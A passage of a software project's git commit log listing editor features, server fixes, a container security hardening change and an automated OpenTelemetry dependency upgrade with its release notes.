Kevin
525b65c6ca fix(server): config typo (#13913)
Fix a typo on the SMTP configuration page
2025-11-15 14:41:03 +08:00
DarkSky
c302425a05 fix(server): doc squash timeout (#13939) 2025-11-15 03:19:51 +08:00
DarkSky
abe73e9996 fix: config escape error (#13936)
fix #13702
2025-11-14 23:24:44 +08:00
Richard Lora
e379da200e feat(editor): add collapse/expand toggle for groups with caching (#12671)
https://github.com/user-attachments/assets/4ef71704-57bb-45b8-9e73-8a51c67fb158

Adds a collapsible toggle for group-by groups.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Collapsible groups for desktop and mobile table views with persistent
per-view collapsed state and a keyboard-accessible toggle button.

- **Bug Fixes**
  - Group title icons now render consistently across variants.

- **Tests**
- Added unit tests verifying collapse/expand behavior for group
components.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: 3720 <zuozijian1994@gmail.com>
Co-authored-by: L-Sun <zover.v@gmail.com>
2025-11-14 04:21:13 +00:00
3720
6ec1948f62 feat(editor): release callout (#13896)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Refactor**
* Callout is no longer gated as an experimental option — it now
consistently appears in the editor’s slash menu and toolbar where
applicable.

* **Tests**
* End-to-end slash-menu tests updated to expect the Callout item in
search results and adjusted item ordering.

* **Chores**
  * Repository ignore rules updated to exclude .kiro files.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-11-12 06:46:18 +00:00
DarkSky
7e6ead4232 feat: native doc reader (#13881) 2025-11-08 23:07:16 +08:00
Hongxu Xu
02dcfdcc40 chore(native): remove unused deps (#13854)
Identified some unused dependencies and refactored them.
2025-11-07 11:31:19 +08:00
Vitaly Barakov
5a2f508dac feat(editor): hidden 'add icon' label on print if icon is not set (#13868)
This caption (see screenshot) is added when you try to print doc, even
if there is no icon.
<img width="1269" height="897" alt="изображение"
src="https://github.com/user-attachments/assets/d63383e6-48a2-44fb-8f32-ae91d1e9e8c6"
/>
2025-11-07 11:30:54 +08:00
Martin Pauli
2bd9f1a353 feat: implement tray and minimize behaviors (#13851)
This PR introduces new window behaviors, which can be enabled when the
menubar setting is active:

New Features:
- Quick open from tray icon
- Minimize to tray
- Exit to tray
- Start minimized

These changes have not yet been tested on macOS.

<img width="645" height="479" alt="image"
src="https://github.com/user-attachments/assets/7bdd13d0-5322-45a4-8e71-85c081aa0c86"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Configurable menubar/tray behaviors: open on left-click, minimize to
tray, close to tray (exit to tray), and start minimized.

* **UI**
* Appearance settings add a Menubar → Window Behavior group with four
toggles; group shows only when menubar/tray is enabled (hidden on
macOS).

* **Settings**
* Tray settings persisted and exposed via the settings API with getters
and setters for each option.

* **Localization**
* Added translation keys and English strings for the new controls and
descriptions.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Peng Xiao <pengxiao@outlook.com>
2025-11-06 20:10:15 +00:00
Vitaly Barakov
9f6ea83ac1 fix(editor): linked doc popover close when layout is switched (#13867)
Fixing the disappearing linked doc menu called by @ when switching
language using Alt+Shift.
2025-11-06 22:26:19 +08:00
DarkSky
d33df659f8 feat: check server type in chat (#13875) 2025-11-06 20:55:32 +08:00
Peng Xiao
c9a4129a3e fix: a security issue related to open external (#13864) 2025-11-06 20:54:25 +08:00
DarkSky
dd676611ce test: fix mock api 2025-11-01 01:36:11 +08:00
Lakr
f3bb2be5ef feat: request apply subscription mutation (#13844) 2025-10-31 22:53:30 +08:00
DarkSky
8535b3dc41 feat(server): refresh subscription if event is from anonymous account (#13840) 2025-10-31 22:53:20 +08:00
DarkSky
89cc9b072b feat(server): early subscription for iap (#13826)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added a mutation to request/apply a subscription by transaction ID
(client mutation and server operation), returning subscription details.
* **Bug Fixes / Improvements**
* More robust external subscription sync with safer conflict detection,
optional short-lived confirmation, improved parsing and error logging.
* **Chores**
  * Standardized time constants for clarity.
* **Tests**
* Updated subscription test data (expiration date) to reflect new
lifecycle expectations.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-29 14:25:43 +00:00
DarkSky
e4b5b24fdd chore: bump package version 2025-10-29 21:14:34 +08:00
DarkSky
9904f50e0b feat(server): improve crypto (#13822)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
  * Resolved cryptographic compatibility issues with OpenSSL 3.x.

* **New Features**
  * Broader support for multiple key types for signing and verification.
  * OTP generation adjusted (affects digit distribution/values).

* **Refactor**
* Internal cryptographic key handling reworked for improved stability,
compatibility, and multi-key-type support.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-29 18:12:23 +08:00
DarkSky
b7ac7caab4 chore(server): improve transcript stability (#13821)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Enhanced audio/video detection for MP4 files to better distinguish
audio-only vs. video.

* **Dependencies**
* Added MP4 parsing dependency and updated AI provider libraries
(Anthropic, Google, OpenAI, etc.).

* **Bug Fixes**
  * Tightened authentication state validation for magic-link/OTP flows.
* Stricter space-join validation to reject invalid client
types/versions.
  * Improved transcript entry deduplication and data handling.

* **API**
* Transcript submit payload now requires infos and removes deprecated
url/mimeType fields.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-29 17:48:15 +08:00
Kandula Ramesh Kumar
d74087fdc5 fix(blocksuite): stabilize cross-document clipboard snapshot handling (#13817)
This PR addresses issue Fixes: #13805 (cross-document copy/paste not
working).

Locally verified that:
- Copy → paste between two documents now works consistently.
- Clipboard snapshot payload remains intact when encoded/decoded.
- External paste (e.g., to Notepad or browser text field) functions
correctly.

E2E tests for clipboard behavior were added, but Playwright browsers
could not be installed in the container (`HTTP 403` from CDN).
Manual verification confirms the fix works as intended.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Tests**
* Added cross-document clipboard regression tests for copy/paste between
documents, external clipboard validation, and multi-block copy;
duplicate test entries noted.

* **Chores**
  * Minor formatting and whitespace cleanup around clipboard handling.
  * Improved error handling in paste flows.
  * Standardized HTML formatting for clipboard payload attributes.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-28 17:27:54 +00:00
DarkSky
875565d08a fix(server): avoid a snowball effect of email sending failures (#13818)
fix #13802
2025-10-28 22:26:24 +08:00
DarkSky
0ecd915245 docs: update readme 2025-10-28 15:24:20 +08:00
OrbisAI Sec
b5ebd20314 fix(core): prevent container privilege escalation in .devcontainer/docker-compose.yml (#13814)
**Context and Purpose:**

This PR automatically remediates a security vulnerability:
- **Description:** Service 'app' allows for privilege escalation via
setuid or setgid binaries. Add 'no-new-privileges:true' in
'security_opt' to prevent this.
- **Rule ID:**
yaml.docker-compose.security.no-new-privileges.no-new-privileges
- **Severity:** HIGH
- **File:** .devcontainer/docker-compose.yml
- **Lines Affected:** 4 - 4

This change is necessary to protect the application from potential
security risks associated with this vulnerability.

**Solution Implemented:**

The automated remediation process has applied the necessary changes to
the affected code in `.devcontainer/docker-compose.yml` to resolve the
identified issue.

Please review the changes to ensure they are correct and integrate as
expected.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
  * Enhanced security configuration for the development environment.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-28 13:34:04 +08:00
DarkSky
c102e2454f feat(server): fetch missing field from rcat (#13794)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Performance**
* Added caching mechanism for subscription product data to reduce API
calls and improve response times.

* **Improvements**
* Enhanced asynchronous processing of subscription entitlements for more
reliable product data retrieval from the payment provider.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-23 08:35:08 +00:00
DarkSky
5fc3258a3d feat(server): expose mail server name config in admin dashboard (#13792)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
  * Added SMTP name configuration field to notification settings.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-23 03:39:20 +00:00
renovate[bot]
1a9863d36f chore: bump up opentelemetry (#12651)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
|
[@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js))
| [`^0.57.0` ->
`^0.207.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.57.2/0.207.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.57.2/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/host-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/host-metrics#readme)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/host-metrics))
| [`^0.35.4` ->
`^0.36.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fhost-metrics/0.35.5/0.36.2)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fhost-metrics/0.36.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fhost-metrics/0.35.5/0.36.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js))
| [`^0.57.0` ->
`^0.207.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.57.2/0.207.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.57.2/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/instrumentation-graphql](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-graphql#readme)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-graphql))
| [`^0.47.0` ->
`^0.55.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-graphql/0.47.1/0.55.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-graphql/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-graphql/0.47.1/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js))
| [`^0.57.0` ->
`^0.207.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.57.2/0.207.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.57.2/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/instrumentation-ioredis](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-ioredis#readme)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-ioredis))
| [`^0.47.0` ->
`^0.55.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-ioredis/0.47.1/0.55.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-ioredis/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-ioredis/0.47.1/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/instrumentation-nestjs-core](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-nestjs-core#readme)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-nestjs-core))
| [`^0.44.0` ->
`^0.54.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-nestjs-core/0.44.1/0.54.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-nestjs-core/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-nestjs-core/0.44.1/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/instrumentation-socket.io](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-socket.io#readme)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-socket.io))
| [`^0.46.0` ->
`^0.54.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-socket.io/0.46.1/0.54.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-socket.io/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-socket.io/0.46.1/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js))
| [`^0.57.0` ->
`^0.207.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.57.2/0.207.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.57.2/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>open-telemetry/opentelemetry-js
(@&#8203;opentelemetry/exporter-prometheus)</summary>

###
[`v0.207.0`](8e9b8bb2a7...fb6476d824)

[Compare
Source](8e9b8bb2a7...fb6476d824)

###
[`v0.206.0`](2d3760898c...8e9b8bb2a7)

[Compare
Source](2d3760898c...8e9b8bb2a7)

###
[`v0.205.0`](98f9d720af...2d3760898c)

[Compare
Source](98f9d720af...2d3760898c)

###
[`v0.204.0`](93187f0224...98f9d720af)

[Compare
Source](93187f0224...98f9d720af)

###
[`v0.203.0`](55f8c20b19...93187f0224)

[Compare
Source](55f8c20b19...93187f0224)

###
[`v0.202.0`](9dbd1e446b...55f8c20b19)

[Compare
Source](9dbd1e446b...55f8c20b19)

###
[`v0.201.1`](4ce5bd1651...9dbd1e446b)

[Compare
Source](4ce5bd1651...9dbd1e446b)

###
[`v0.201.0`](7fde94081e...4ce5bd1651)

[Compare
Source](7fde94081e...4ce5bd1651)

###
[`v0.200.0`](ac8641a5db...7fde94081e)

[Compare
Source](ac8641a5db...7fde94081e)

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib
(@&#8203;opentelemetry/host-metrics)</summary>

###
[`v0.36.2`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/host-metrics/CHANGELOG.md#0362-2025-09-29)

[Compare
Source](931c7b34f5...5a5918fd4f)

##### Bug Fixes

- force new release-please PR
([#&#8203;3123](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3123))
([0dab838](0dab8383b5))

###
[`v0.36.1`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/host-metrics/CHANGELOG.md#0361-2025-09-25)

[Compare
Source](32abc4c3c0...931c7b34f5)

##### Bug Fixes

- force new release-please PR
([#&#8203;3098](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3098))
([13c58e9](13c58e9ad7))

###
[`v0.36.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/host-metrics/CHANGELOG.md#0360-2025-03-18)

[Compare
Source](d4d3c4f14f...32abc4c3c0)

##### ⚠ BREAKING CHANGES

- chore!: Update to 2.x and 0.200.x @&#8203;opentelemetry/\* packages
from opentelemetry-js.git per [2.x upgrade
guide](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/main/doc/upgrade-to-2.x.md)
- The minimum supported Node.js has been raised to ^18.19.0 || >=20.6.0.
This means that support for Node.js 14 and 16 has been dropped.
  - The minimum supported TypeScript version has been raised to 5.0.4.
- The compilation target for transpiled TypeScript has been raised to
ES2022 (from ES2017).

##### Miscellaneous Chores

- update to JS SDK 2.x
([#&#8203;2738](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2738))
([7fb4ba3](7fb4ba3bc3))

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib
(@&#8203;opentelemetry/instrumentation-graphql)</summary>

###
[`v0.55.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0550-2025-10-21)

[Compare
Source](333e026413...2801ab2f0f)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3187](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3187))
([ab96334](ab96334557))

###
[`v0.54.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0540-2025-10-06)

[Compare
Source](5a5918fd4f...333e026413)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3145](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3145))
([704c716](704c7161f7))

###
[`v0.53.3`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0533-2025-09-29)

[Compare
Source](931c7b34f5...5a5918fd4f)

##### Bug Fixes

- force new release-please PR
([#&#8203;3123](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3123))
([0dab838](0dab8383b5))

###
[`v0.53.2`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0532-2025-09-25)

[Compare
Source](f54a1ba1ad...931c7b34f5)

##### Bug Fixes

- force new release-please PR
([#&#8203;3098](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3098))
([13c58e9](13c58e9ad7))

###
[`v0.53.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0530-2025-09-10)

[Compare
Source](0a45ac1b95...f54a1ba1ad)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3034](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3034))
([bee0a66](bee0a66ef8))

###
[`v0.52.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0520-2025-09-08)

[Compare
Source](e7960a2061...0a45ac1b95)

##### Features

- **deps:** update otel deps
([#&#8203;3027](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3027))
([fd9e262](fd9e262fab))

###
[`v0.51.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0510-2025-07-09)

[Compare
Source](7481f71d61...e7960a2061)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2930](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2930))
([e4ab2a9](e4ab2a9320))

###
[`v0.50.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0500-2025-06-02)

[Compare
Source](393b51596d...7481f71d61)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2871](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2871))
([d33c6f2](d33c6f232a))

###
[`v0.49.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0490-2025-05-15)

[Compare
Source](32abc4c3c0...393b51596d)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2828](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2828))
([59c2a4c](59c2a4c002))

###
[`v0.48.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0480-2025-03-18)

[Compare
Source](1eb7700766...32abc4c3c0)

##### ⚠ BREAKING CHANGES

- chore!: Update to 2.x and 0.200.x @&#8203;opentelemetry/\* packages
from opentelemetry-js.git per [2.x upgrade
guide](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/main/doc/upgrade-to-2.x.md)
- The minimum supported Node.js has been raised to ^18.19.0 || >=20.6.0.
This means that support for Node.js 14 and 16 has been dropped.
  - The minimum supported TypeScript version has been raised to 5.0.4.
- The compilation target for transpiled TypeScript has been raised to
ES2022 (from ES2017).

##### Bug Fixes

- **deps:** update otel core experimental to ^0.57.2
([#&#8203;2716](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2716))
([d2a9a20](d2a9a20f1c))

##### Miscellaneous Chores

- update to JS SDK 2.x
([#&#8203;2738](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2738))
([7fb4ba3](7fb4ba3bc3))

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib
(@&#8203;opentelemetry/instrumentation-ioredis)</summary>

###
[`v0.55.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0550-2025-10-21)

[Compare
Source](333e026413...2801ab2f0f)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3187](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3187))
([ab96334](ab96334557))

##### Bug Fixes

- **deps:** update all patch versions
([#&#8203;3134](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3134))
([c302e35](c302e3530d))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.53.0 to ^0.54.0

###
[`v0.54.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0540-2025-10-06)

[Compare
Source](5a5918fd4f...333e026413)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3145](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3145))
([704c716](704c7161f7))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.52.2 to ^0.53.0

###
[`v0.53.3`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0533-2025-09-29)

[Compare
Source](931c7b34f5...5a5918fd4f)

##### Bug Fixes

- force new release-please PR
([#&#8203;3123](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3123))
([0dab838](0dab8383b5))

##### Dependencies

- The following workspace dependencies were updated
  - dependencies
-
[@&#8203;opentelemetry/redis-common](https://redirect.github.com/opentelemetry/redis-common)
bumped from ^0.38.1 to ^0.38.2
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.52.1 to ^0.52.2

###
[`v0.53.2`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0532-2025-09-25)

[Compare
Source](f54a1ba1ad...931c7b34f5)

##### Bug Fixes

- force new release-please PR
([#&#8203;3098](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3098))
([13c58e9](13c58e9ad7))

##### Dependencies

- The following workspace dependencies were updated
  - dependencies
-
[@&#8203;opentelemetry/redis-common](https://redirect.github.com/opentelemetry/redis-common)
bumped from ^0.38.0 to ^0.38.1
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.52.0 to ^0.52.1

###
[`v0.53.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0530-2025-09-10)

[Compare
Source](0a45ac1b95...f54a1ba1ad)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3034](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3034))
([bee0a66](bee0a66ef8))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.50.0 to ^0.51.0

###
[`v0.52.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0520-2025-09-08)

[Compare
Source](e7960a2061...0a45ac1b95)

##### Features

- **deps:** update otel deps
([#&#8203;3027](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3027))
([fd9e262](fd9e262fab))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.49.0 to ^0.50.0

###
[`v0.51.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0510-2025-07-09)

[Compare
Source](52dd28deae...e7960a2061)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2930](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2930))
([e4ab2a9](e4ab2a9320))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.48.0 to ^0.49.0

###
[`v0.50.1`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0501-2025-07-04)

[Compare
Source](7481f71d61...52dd28deae)

##### Dependencies

- The following workspace dependencies were updated
  - dependencies
-
[@&#8203;opentelemetry/redis-common](https://redirect.github.com/opentelemetry/redis-common)
bumped from ^0.37.0 to ^0.38.0

###
[`v0.50.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0500-2025-06-02)

[Compare
Source](393b51596d...7481f71d61)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2871](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2871))
([d33c6f2](d33c6f232a))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.47.0 to ^0.48.0

###
[`v0.49.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0490-2025-05-15)

[Compare
Source](32abc4c3c0...393b51596d)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2828](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2828))
([59c2a4c](59c2a4c002))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.46.0 to ^0.47.0

###
[`v0.48.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0480-2025-03-18)

[Compare
Source](1eb7700766...32abc4c3c0)

##### ⚠ BREAKING CHANGES

- chore!: Update to 2.x and 0.200.x @&#8203;opentelemetry/\* packages
from opentelemetry-js.git per [2.x upgrade
guide](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/main/doc/upgrade-to-2.x.md)
- The minimum supported Node.js has been raised to ^18.19.0 || >=20.6.0.
This means that support for Node.js 14 and 16 has been dropped.
  - The minimum supported TypeScript version has been raised to 5.0.4.
- The compilation target for transpiled TypeScript has been raised to
ES2022 (from ES2017).

##### Bug Fixes

- **deps:** update otel core experimental to ^0.57.2
